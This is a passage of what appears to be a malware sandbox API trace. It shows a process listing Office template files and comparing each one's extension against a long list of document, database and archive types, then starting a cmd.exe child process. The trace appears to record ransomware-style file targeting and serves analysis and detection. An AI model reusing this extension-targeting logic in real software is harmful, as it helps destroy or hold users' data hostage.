lpString2="dotx") returned -1 [0091.845] lstrcmpiW (lpString1=".ai8", lpString2="dotx") returned -1 [0091.845] lstrcmpiW (lpString1=".anim", lpString2=".dotx") returned -1 [0091.846] lstrcmpiW (lpString1=".arw", lpString2="dotx") returned -1 [0091.846] lstrcmpiW (lpString1=".as", lpString2="otx") returned -1 [0091.846] lstrcmpiW (lpString1=".asa", lpString2="dotx") returned -1 [0091.846] lstrcmpiW (lpString1=".asc", lpString2="dotx") returned -1 [0091.846] lstrcmpiW (lpString1=".ascx", lpString2=".dotx") returned -1 [0091.846] lstrcmpiW (lpString1=".asm", lpString2="dotx") returned -1 [0091.846] lstrcmpiW (lpString1=".asmx", lpString2=".dotx") returned -1 [0091.846] lstrcmpiW (lpString1=".asp", lpString2="dotx") returned -1 [0091.846] lstrcmpiW (lpString1=".aspx", lpString2=".dotx") returned -1 [0091.846] lstrcmpiW (lpString1=".asr", lpString2="dotx") returned -1 [0091.846] lstrcmpiW (lpString1=".asx", lpString2="dotx") returned -1 [0091.847] lstrcmpiW (lpString1=".avi", lpString2="dotx") returned -1 [0091.847] lstrcmpiW (lpString1=".avs", lpString2="dotx") returned -1 [0091.847] lstrcmpiW (lpString1=".backup", lpString2="ic.dotx") returned -1 [0091.847] lstrcmpiW (lpString1=".bak", lpString2="dotx") returned -1 [0091.847] lstrcmpiW (lpString1=".bay", lpString2="dotx") returned -1 [0091.847] lstrcmpiW (lpString1=".bd", lpString2="otx") returned -1 [0091.847] lstrcmpiW (lpString1=".bin", lpString2="dotx") returned -1 [0091.847] lstrcmpiW (lpString1=".bmp", lpString2="dotx") returned -1 [0091.847] lstrcmpiW (lpString1=".bz2", lpString2="dotx") returned -1 [0091.847] lstrcmpiW (lpString1=".c", lpString2="tx") returned -1 [0091.847] lstrcmpiW (lpString1=".cdr", lpString2="dotx") returned -1 [0091.847] lstrcmpiW (lpString1=".cer", lpString2="dotx") returned -1 [0091.848] lstrcmpiW (lpString1=".cf", lpString2="otx") returned -1 [0091.848] lstrcmpiW (lpString1=".cfc", lpString2="dotx") returned -1 [0091.848] lstrcmpiW (lpString1=".cfm", lpString2="dotx") returned -1 [0091.848] lstrcmpiW (lpString1=".cfml", lpString2=".dotx") returned -1 [0091.848] lstrcmpiW (lpString1=".cfu", lpString2="dotx") returned -1 [0091.848] lstrcmpiW (lpString1=".chm", lpString2="dotx") returned -1 [0091.848] lstrcmpiW (lpString1=".cin", lpString2="dotx") returned -1 [0091.848] lstrcmpiW (lpString1=".class", lpString2="c.dotx") returned -1 [0091.848] lstrcmpiW (lpString1=".clx", lpString2="dotx") returned -1 [0091.848] lstrcmpiW (lpString1=".config", lpString2="ic.dotx") returned -1 [0091.848] lstrcmpiW (lpString1=".cpp", lpString2="dotx") returned -1 [0091.848] lstrcmpiW (lpString1=".cr2", lpString2="dotx") returned -1 [0091.849] lstrcmpiW (lpString1=".crt", lpString2="dotx") returned -1 [0091.849] lstrcmpiW (lpString1=".crw", lpString2="dotx") returned -1 [0091.849] lstrcmpiW (lpString1=".cs", lpString2="otx") returned -1 [0091.849] lstrcmpiW (lpString1=".css", lpString2="dotx") returned -1 [0091.849] lstrcmpiW (lpString1=".csv", lpString2="dotx") returned -1 [0091.849] lstrcmpiW (lpString1=".cub", lpString2="dotx") returned -1 [0091.849] lstrcmpiW (lpString1=".dae", lpString2="dotx") returned -1 [0091.849] lstrcmpiW (lpString1=".dat", lpString2="dotx") returned -1 [0091.849] lstrcmpiW (lpString1=".db", lpString2="otx") returned -1 [0091.849] lstrcmpiW (lpString1=".dbf", lpString2="dotx") returned -1 [0091.850] lstrcmpiW (lpString1=".dbx", lpString2="dotx") returned -1 [0091.850] lstrcmpiW (lpString1=".dc3", lpString2="dotx") returned -1 [0091.850] lstrcmpiW (lpString1=".dcm", lpString2="dotx") returned -1 [0091.850] lstrcmpiW (lpString1=".dcr", lpString2="dotx") returned -1 [0091.850] lstrcmpiW (lpString1=".der", lpString2="dotx") returned -1 [0091.850] lstrcmpiW (lpString1=".dib", lpString2="dotx") returned -1 [0091.850] lstrcmpiW (lpString1=".dic", lpString2="dotx") returned -1 [0091.850] lstrcmpiW (lpString1=".dif", lpString2="dotx") returned -1 [0091.851] lstrcmpiW (lpString1=".divx", lpString2=".dotx") returned -1 [0091.851] lstrcmpiW (lpString1=".djvu", lpString2=".dotx") returned -1 [0091.851] lstrcmpiW (lpString1=".dng", lpString2="dotx") returned -1 [0091.851] lstrcmpiW (lpString1=".doc", lpString2="dotx") returned -1 [0091.851] lstrcmpiW (lpString1=".docm", lpString2=".dotx") returned -1 [0091.851] lstrcmpiW (lpString1=".docx", lpString2=".dotx") returned -1 [0091.851] lstrcmpiW (lpString1=".dot", lpString2="dotx") returned -1 [0091.851] lstrcmpiW (lpString1=".dotm", lpString2=".dotx") returned -1 [0091.851] lstrcmpiW (lpString1=".dotx", lpString2=".dotx") returned 0 [0091.851] FindNextFileW (in: hFindFile=0x3ee3260, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x23e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default.dotx", cAlternateFileName="DEFAUL~1.DOT")) returned 1 [0091.852] lstrcmpiW (lpString1=".1cd", lpString2="dotx") returned -1 [0091.852] lstrcmpiW (lpString1=".3ds", lpString2="dotx") returned -1 [0091.852] lstrcmpiW (lpString1=".3fr", lpString2="dotx") returned -1 [0091.852] lstrcmpiW (lpString1=".3g2", lpString2="dotx") returned -1 [0091.852] lstrcmpiW (lpString1=".3gp", lpString2="dotx") returned -1 [0091.852] lstrcmpiW (lpString1=".7z", lpString2="otx") returned -1 [0091.852] lstrcmpiW (lpString1=".accda", lpString2="t.dotx") returned -1 [0091.853] lstrcmpiW (lpString1=".accdb", lpString2="t.dotx") returned -1 [0091.853] lstrcmpiW (lpString1=".accdc", lpString2="t.dotx") returned -1 [0091.854] lstrcmpiW (lpString1=".accde", lpString2="t.dotx") returned -1 [0091.854] lstrcmpiW (lpString1=".accdt", lpString2="t.dotx") returned -1 [0091.854] lstrcmpiW (lpString1=".accdw", lpString2="t.dotx") returned -1 [0091.854] lstrcmpiW (lpString1=".adb", lpString2="dotx") returned -1 [0091.854] lstrcmpiW (lpString1=".adp", lpString2="dotx") returned -1 [0091.854] lstrcmpiW (lpString1=".ai", lpString2="otx") returned -1 [0091.854] lstrcmpiW (lpString1=".ai3", lpString2="dotx") returned -1 [0091.854] lstrcmpiW (lpString1=".ai4", lpString2="dotx") returned -1 [0091.854] lstrcmpiW (lpString1=".ai5", lpString2="dotx") returned -1 [0091.854] lstrcmpiW (lpString1=".ai6", lpString2="dotx") returned -1 [0091.854] lstrcmpiW (lpString1=".ai7", lpString2="dotx") returned -1 [0091.854] lstrcmpiW (lpString1=".ai8", lpString2="dotx") returned -1 [0091.854] lstrcmpiW (lpString1=".anim", lpString2=".dotx") returned -1 [0091.854] lstrcmpiW (lpString1=".arw", lpString2="dotx") returned -1 [0091.854] lstrcmpiW (lpString1=".as", lpString2="otx") returned -1 [0091.854] lstrcmpiW (lpString1=".asa", lpString2="dotx") returned -1 [0091.855] lstrcmpiW (lpString1=".asc", lpString2="dotx") returned -1 [0091.855] lstrcmpiW (lpString1=".ascx", lpString2=".dotx") returned -1 [0091.855] lstrcmpiW (lpString1=".asm", lpString2="dotx") returned -1 [0091.855] lstrcmpiW (lpString1=".asmx", lpString2=".dotx") returned -1 [0091.855] lstrcmpiW (lpString1=".asp", lpString2="dotx") returned -1 [0091.855] lstrcmpiW (lpString1=".aspx", lpString2=".dotx") returned -1 [0091.855] lstrcmpiW (lpString1=".asr", lpString2="dotx") returned -1 [0091.855] lstrcmpiW (lpString1=".asx", lpString2="dotx") returned -1 [0091.855] lstrcmpiW (lpString1=".avi", lpString2="dotx") returned -1 [0091.855] lstrcmpiW (lpString1=".avs", lpString2="dotx") returned -1 [0091.855] lstrcmpiW (lpString1=".backup", lpString2="lt.dotx") returned -1 [0091.855] lstrcmpiW (lpString1=".bak", lpString2="dotx") returned -1 [0091.855] lstrcmpiW (lpString1=".bay", lpString2="dotx") returned -1 [0091.855] lstrcmpiW (lpString1=".bd", lpString2="otx") returned -1 [0091.855] lstrcmpiW (lpString1=".bin", lpString2="dotx") returned -1 [0091.856] lstrcmpiW (lpString1=".bmp", lpString2="dotx") returned -1 [0091.856] lstrcmpiW (lpString1=".bz2", lpString2="dotx") returned -1 [0091.856] lstrcmpiW (lpString1=".c", lpString2="tx") returned -1 [0091.856] lstrcmpiW (lpString1=".cdr", lpString2="dotx") returned -1 [0091.856] lstrcmpiW (lpString1=".cer", lpString2="dotx") returned -1 [0091.856] lstrcmpiW (lpString1=".cf", lpString2="otx") returned -1 [0091.856] lstrcmpiW (lpString1=".cfc", lpString2="dotx") returned -1 [0091.856] lstrcmpiW (lpString1=".cfm", lpString2="dotx") returned -1 [0091.856] lstrcmpiW (lpString1=".cfml", lpString2=".dotx") returned -1 [0091.856] lstrcmpiW (lpString1=".cfu", lpString2="dotx") returned -1 [0091.856] lstrcmpiW (lpString1=".chm", lpString2="dotx") returned -1 [0091.856] lstrcmpiW (lpString1=".cin", lpString2="dotx") returned -1 [0091.856] lstrcmpiW (lpString1=".class", lpString2="t.dotx") returned -1 [0091.856] lstrcmpiW (lpString1=".clx", lpString2="dotx") returned -1 [0091.856] lstrcmpiW (lpString1=".config", lpString2="lt.dotx") returned -1 [0091.857] lstrcmpiW (lpString1=".cpp", lpString2="dotx") returned -1 [0091.857] lstrcmpiW (lpString1=".cr2", lpString2="dotx") returned -1 [0091.857] lstrcmpiW (lpString1=".crt", lpString2="dotx") returned -1 [0091.857] lstrcmpiW (lpString1=".crw", lpString2="dotx") returned -1 [0091.857] lstrcmpiW (lpString1=".cs", lpString2="otx") returned -1 [0091.857] lstrcmpiW (lpString1=".css", lpString2="dotx") returned -1 [0091.857] lstrcmpiW (lpString1=".csv", lpString2="dotx") returned -1 [0091.857] lstrcmpiW (lpString1=".cub", lpString2="dotx") returned -1 [0091.857] lstrcmpiW (lpString1=".dae", lpString2="dotx") returned -1 [0091.857] lstrcmpiW (lpString1=".dat", lpString2="dotx") returned -1 [0091.858] lstrcmpiW (lpString1=".db", lpString2="otx") returned -1 [0091.858] lstrcmpiW (lpString1=".dbf", lpString2="dotx") returned -1 [0091.858] lstrcmpiW (lpString1=".dbx", lpString2="dotx") returned -1 [0091.858] lstrcmpiW (lpString1=".dc3", lpString2="dotx") returned -1 [0091.858] lstrcmpiW (lpString1=".dcm", lpString2="dotx") returned -1 [0091.858] lstrcmpiW (lpString1=".dcr", lpString2="dotx") returned -1 [0091.859] lstrcmpiW (lpString1=".der", lpString2="dotx") returned -1 [0091.859] lstrcmpiW (lpString1=".dib", lpString2="dotx") returned -1 [0091.859] lstrcmpiW (lpString1=".dic", lpString2="dotx") returned -1 [0091.859] lstrcmpiW (lpString1=".dif", lpString2="dotx") returned -1 [0091.859] lstrcmpiW (lpString1=".divx", lpString2=".dotx") returned -1 [0091.859] lstrcmpiW (lpString1=".djvu", lpString2=".dotx") returned -1 [0091.859] lstrcmpiW (lpString1=".dng", lpString2="dotx") returned -1 [0091.859] lstrcmpiW (lpString1=".doc", lpString2="dotx") returned -1 [0091.859] lstrcmpiW (lpString1=".docm", lpString2=".dotx") returned -1 [0091.860] lstrcmpiW (lpString1=".docx", lpString2=".dotx") returned -1 [0091.860] lstrcmpiW (lpString1=".dot", lpString2="dotx") returned -1 [0091.860] lstrcmpiW (lpString1=".dotm", lpString2=".dotx") returned -1 [0091.860] lstrcmpiW (lpString1=".dotx", lpString2=".dotx") returned 0 [0091.860] FindNextFileW (in: hFindFile=0x3ee3260, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x20f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultBlackAndWhite.dotx", cAlternateFileName="DEFAUL~2.DOT")) returned 1 [0091.860] lstrcmpiW (lpString1=".1cd", lpString2="dotx") returned -1 [0091.860] lstrcmpiW (lpString1=".3ds", lpString2="dotx") returned -1 [0091.860] lstrcmpiW (lpString1=".3fr", lpString2="dotx") returned -1 [0091.860] lstrcmpiW (lpString1=".3g2", lpString2="dotx") returned -1 [0091.860] lstrcmpiW (lpString1=".3gp", lpString2="dotx") returned -1 [0091.860] lstrcmpiW (lpString1=".7z", lpString2="otx") returned -1 [0091.860] lstrcmpiW (lpString1=".accda", lpString2="e.dotx") returned -1 [0091.861] lstrcmpiW (lpString1=".accdb", lpString2="e.dotx") returned -1 [0091.861] lstrcmpiW (lpString1=".accdc", lpString2="e.dotx") returned -1 [0091.861] lstrcmpiW (lpString1=".accde", lpString2="e.dotx") returned -1 [0091.861] lstrcmpiW (lpString1=".accdt", lpString2="e.dotx") returned -1 [0091.861] lstrcmpiW (lpString1=".accdw", lpString2="e.dotx") returned -1 [0091.861] lstrcmpiW (lpString1=".adb", lpString2="dotx") returned -1 [0091.861] lstrcmpiW (lpString1=".adp", lpString2="dotx") returned -1 [0091.861] lstrcmpiW (lpString1=".ai", lpString2="otx") returned -1 [0091.861] lstrcmpiW (lpString1=".ai3", lpString2="dotx") returned -1 [0091.861] lstrcmpiW (lpString1=".ai4", lpString2="dotx") returned -1 [0091.861] lstrcmpiW (lpString1=".ai5", lpString2="dotx") returned -1 [0091.861] lstrcmpiW (lpString1=".ai6", lpString2="dotx") returned -1 [0091.861] lstrcmpiW (lpString1=".ai7", lpString2="dotx") returned -1 [0091.862] lstrcmpiW (lpString1=".ai8", lpString2="dotx") returned -1 [0091.862] lstrcmpiW (lpString1=".anim", lpString2=".dotx") returned -1 [0091.862] lstrcmpiW (lpString1=".arw", lpString2="dotx") returned -1 [0091.862] lstrcmpiW (lpString1=".as", lpString2="otx") returned -1 [0091.862] lstrcmpiW (lpString1=".asa", lpString2="dotx") returned -1 [0091.862] lstrcmpiW (lpString1=".asc", lpString2="dotx") returned -1 [0091.862] lstrcmpiW (lpString1=".ascx", lpString2=".dotx") returned -1 [0091.862] lstrcmpiW (lpString1=".asm", lpString2="dotx") returned -1 [0091.862] lstrcmpiW (lpString1=".asmx", lpString2=".dotx") returned -1 [0091.862] lstrcmpiW (lpString1=".asp", lpString2="dotx") returned -1 [0091.862] lstrcmpiW (lpString1=".aspx", lpString2=".dotx") returned -1 [0091.862] lstrcmpiW (lpString1=".asr", lpString2="dotx") returned -1 [0091.862] lstrcmpiW (lpString1=".asx", lpString2="dotx") returned -1 [0091.863] lstrcmpiW (lpString1=".avi", lpString2="dotx") returned -1 [0091.863] lstrcmpiW (lpString1=".avs", lpString2="dotx") returned -1 [0091.863] lstrcmpiW (lpString1=".backup", lpString2="te.dotx") returned -1 [0091.863] lstrcmpiW (lpString1=".bak", lpString2="dotx") returned -1 [0091.863] lstrcmpiW (lpString1=".bay", lpString2="dotx") returned -1 [0091.863] lstrcmpiW (lpString1=".bd", lpString2="otx") returned -1 [0091.863] lstrcmpiW (lpString1=".bin", lpString2="dotx") returned -1 [0091.863] lstrcmpiW (lpString1=".bmp", lpString2="dotx") returned -1 [0091.863] lstrcmpiW (lpString1=".bz2", lpString2="dotx") returned -1 [0091.863] lstrcmpiW (lpString1=".c", lpString2="tx") returned -1 [0091.863] lstrcmpiW (lpString1=".cdr", lpString2="dotx") returned -1 [0091.863] lstrcmpiW (lpString1=".cer", lpString2="dotx") returned -1 [0091.864] lstrcmpiW (lpString1=".cf", lpString2="otx") returned -1 [0091.864] lstrcmpiW (lpString1=".cfc", lpString2="dotx") returned -1 [0091.864] lstrcmpiW (lpString1=".cfm", lpString2="dotx") returned -1 [0091.864] lstrcmpiW (lpString1=".cfml", lpString2=".dotx") returned -1 [0091.864] lstrcmpiW (lpString1=".cfu", lpString2="dotx") returned -1 [0091.864] lstrcmpiW (lpString1=".chm", lpString2="dotx") returned -1 [0091.864] lstrcmpiW (lpString1=".cin", lpString2="dotx") returned -1 [0091.864] lstrcmpiW (lpString1=".class", lpString2="e.dotx") returned -1 [0091.864] lstrcmpiW (lpString1=".clx", lpString2="dotx") returned -1 [0091.864] lstrcmpiW (lpString1=".config", lpString2="te.dotx") returned -1 [0091.864] lstrcmpiW (lpString1=".cpp", lpString2="dotx") returned -1 [0091.864] lstrcmpiW (lpString1=".cr2", lpString2="dotx") returned -1 [0091.864] lstrcmpiW (lpString1=".crt", lpString2="dotx") returned -1 [0091.865] lstrcmpiW (lpString1=".crw", lpString2="dotx") returned -1 [0091.865] lstrcmpiW (lpString1=".cs", lpString2="otx") returned -1 [0091.865] lstrcmpiW (lpString1=".css", lpString2="dotx") returned -1 [0091.865] lstrcmpiW (lpString1=".csv", lpString2="dotx") returned -1 [0091.865] lstrcmpiW (lpString1=".cub", lpString2="dotx") returned -1 [0091.865] lstrcmpiW (lpString1=".dae", lpString2="dotx") returned -1 [0091.865] lstrcmpiW (lpString1=".dat", lpString2="dotx") returned -1 [0091.865] lstrcmpiW (lpString1=".db", lpString2="otx") returned -1 [0091.865] lstrcmpiW (lpString1=".dbf", lpString2="dotx") returned -1 [0091.865] lstrcmpiW (lpString1=".dbx", lpString2="dotx") returned -1 [0091.865] lstrcmpiW (lpString1=".dc3", lpString2="dotx") returned -1 [0091.865] lstrcmpiW (lpString1=".dcm", lpString2="dotx") returned -1 [0091.865] lstrcmpiW (lpString1=".dcr", lpString2="dotx") returned -1 [0091.865] lstrcmpiW (lpString1=".der", lpString2="dotx") returned -1 [0091.866] lstrcmpiW (lpString1=".dib", lpString2="dotx") returned -1 [0091.866] lstrcmpiW (lpString1=".dic", lpString2="dotx") returned -1 [0091.866] lstrcmpiW (lpString1=".dif", lpString2="dotx") returned -1 [0091.866] lstrcmpiW (lpString1=".divx", lpString2=".dotx") returned -1 [0091.866] lstrcmpiW (lpString1=".djvu", lpString2=".dotx") returned -1 [0091.866] lstrcmpiW (lpString1=".dng", lpString2="dotx") returned -1 [0091.866] lstrcmpiW (lpString1=".doc", lpString2="dotx") returned -1 [0091.866] lstrcmpiW (lpString1=".docm", lpString2=".dotx") returned -1 [0091.866] lstrcmpiW (lpString1=".docx", lpString2=".dotx") returned -1 [0091.866] FindNextFileW (in: hFindFile=0x3ee3260, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x2169, dwReserved0=0x0, dwReserved1=0x0, cFileName="Distinctive.dotx", cAlternateFileName="DISTIN~1.DOT")) returned 1 [0091.867] FindNextFileW (in: hFindFile=0x3ee3260, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x222a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elegant.dotx", cAlternateFileName="ELEGAN~1.DOT")) returned 1 [0091.867] FindNextFileW (in: hFindFile=0x3ee3260, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x221b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fancy.dotx", cAlternateFileName="FANCY~1.DOT")) returned 1 [0091.867] FindNextFileW (in: hFindFile=0x3ee3260, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x0, dwReserved1=0x0, cFileName="Formal.dotx", cAlternateFileName="FORMAL~1.DOT")) returned 1 [0091.867] FindNextFileW (in: hFindFile=0x3ee3260, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x210c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Manuscript.dotx", cAlternateFileName="MANUSC~1.DOT")) returned 1 [0091.867] FindNextFileW (in: hFindFile=0x3ee3260, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e4b50b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x21ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modern.dotx", cAlternateFileName="MODERN~1.DOT")) returned 1 [0091.868] FindNextFileW (in: hFindFile=0x3ee3260, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2744700, ftCreationTime.dwHighDateTime=0x1ca568e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2744700, ftLastWriteTime.dwHighDateTime=0x1ca568e, nFileSizeHigh=0x0, nFileSizeLow=0x8ce63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.dotx", cAlternateFileName="NEWSPR~1.DOT")) returned 1 [0091.868] FindNextFileW (in: hFindFile=0x3ee3260, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2744700, ftCreationTime.dwHighDateTime=0x1ca568e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2744700, ftLastWriteTime.dwHighDateTime=0x1ca568e, nFileSizeHigh=0x0, nFileSizeLow=0x5adf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.dotx", cAlternateFileName="PERSPE~1.DOT")) returned 1 [0091.871] FindNextFileW (in: hFindFile=0x3ee3260, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x20f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple.dotx", cAlternateFileName="SIMPLE~1.DOT")) returned 1 [0091.871] FindNextFileW (in: hFindFile=0x3ee3260, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2744700, ftCreationTime.dwHighDateTime=0x1ca568e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2744700, ftLastWriteTime.dwHighDateTime=0x1ca568e, nFileSizeHigh=0x0, nFileSizeLow=0x5d3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.dotx", cAlternateFileName="THATCH~1.DOT")) returned 1 [0091.872] FindNextFileW (in: hFindFile=0x3ee3260, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x21f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Traditional.dotx", cAlternateFileName="TRADIT~1.DOT")) returned 1 [0091.872] FindNextFileW (in: hFindFile=0x3ee3260, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x21f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Traditional.dotx", cAlternateFileName="TRADIT~1.DOT")) returned 0 [0091.872] FindClose (in: hFindFile=0x3ee3260 | out: hFindFile=0x3ee3260) returned 1 [0091.872] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f23fe8 | out: hHeap=0x5d0000) returned 1 [0091.872] FindNextFileW (in: hFindFile=0x3ee31a0, lpFindFileData=0x352f310 | out: lpFindFileData=0x352f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62bc4600, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62bc4600, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x39aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReviewRouting_Init.xsn", cAlternateFileName="REVIEW~1.XSN")) returned 1 Thread: id = 20 os_tid = 0x664 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x49f15000" os_pid = "0x600" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x5e4" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0x5c4 [0067.349] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14fef0 | out: lpSystemTimeAsFileTime=0x14fef0*(dwLowDateTime=0x4c174810, dwHighDateTime=0x1d5fa0e)) [0067.349] GetCurrentProcessId () returned 0x600 [0067.349] GetCurrentThreadId () returned 0x5c4 [0067.349] GetTickCount () returned 0x114759d [0067.349] QueryPerformanceCounter (in: lpPerformanceCount=0x14fef8 | out: lpPerformanceCount=0x14fef8*=18751965075) returned 1 [0067.351] GetModuleHandleW (lpModuleName=0x0) returned 0x4aa90000 [0067.351] __set_app_type (_Type=0x1) [0067.351] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4aab7810) returned 0x0 [0067.352] __getmainargs (in: _Argc=0x4aada608, _Argv=0x4aada618, _Env=0x4aada610, _DoWildCard=0, _StartInfo=0x4aabe0f4 | out: _Argc=0x4aada608, _Argv=0x4aada618, _Env=0x4aada610) returned 0 [0067.353] GetCurrentThreadId () returned 0x5c4 [0067.353] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x5c4) returned 0x3c [0067.393] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000 [0067.393] GetProcAddress (hModule=0x77940000, 